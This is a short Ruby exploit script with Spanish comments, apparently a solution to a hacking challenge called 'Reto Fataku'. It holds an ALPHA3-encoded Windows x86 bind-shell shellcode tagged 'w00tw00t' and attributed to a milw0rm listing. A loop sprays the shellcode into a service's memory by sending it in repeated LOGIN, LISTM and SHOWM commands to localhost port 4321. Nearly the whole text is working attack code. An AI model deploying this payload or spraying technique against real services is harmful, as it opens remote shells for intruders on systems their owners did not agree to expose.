g30rg3_x

# Reto Fataku
require 'socket'

# Windows x86 null-free bindshell for Windows 5.0-7.0 all service packs.
# http://milw0rm.com/shellcode/9232
# LPORT=28876
# Codificada con ALPHA3
# Modo: x86 ascii mixedcase seh_getpc_xpsp3
shellcode = "w00tw00t" +
"V34djPXP4Hd30V3v034dYV34014dZX4vP4v4PHPfh11DX5PRRRV34dNj334d3D241D24XX" +
"fX3D28f1D28jAXLX3Dqh3Tpl1Tpl1636VYhffffk4diFkDqp02Dqq0D1GuEE0t3i2p4x2x" +
"123k0B0t4y2n2M4y1m0c5K7l2p3o120A1M0v0G5N0e2q1302130Q1m2M0a7K0A2x4D3p08" +
"4j4y374D0N2y4z2y4K5L393v4V4X001P0r0a0e1P4p3O1M4U2B4y2p2l3z0k0V0H1p3I3c" +
"1O0d024Y0f193v2H5O0M32063J40163r16187L5N2n180A5L2o0k0F3B0m3m1O0r054q7o" +
"4G2E115K092L1P3I8l3I0S003q4X8O2o0D0A1m5O7L002J8M300e3i4s0D0C7N4A185m4w" +
"3q3M8L4Y363r7N4q8O8k130X2D2n5m038N3y4v4v0F4p145m0b2E0P1o0T2v5N062p184Z" +
"5m4X4t0v3O000l4p0p2q2y1P7l0c3n0w4n7m7K1P7m0g098O2p3G3Y0v4Q3H3001"

# Preparando el Rociador
rociador = ""
1.upto(3) do
        rociador += "LOGIN " + shellcode + "\r\n";
        rociador += "LISTM " + shellcode + "\r\n";
        rociador += "SHOWM " + shellcode + "\r\n";
end

# Esparciendo en memoria la shellcode..
1.upto(10) do
        spray = TCPSocket.new("localhost", 4321)
        str = spray.recv(400)
        spray.puts(rociador)
        print spray.gets
        spray.close
        sleep 2
end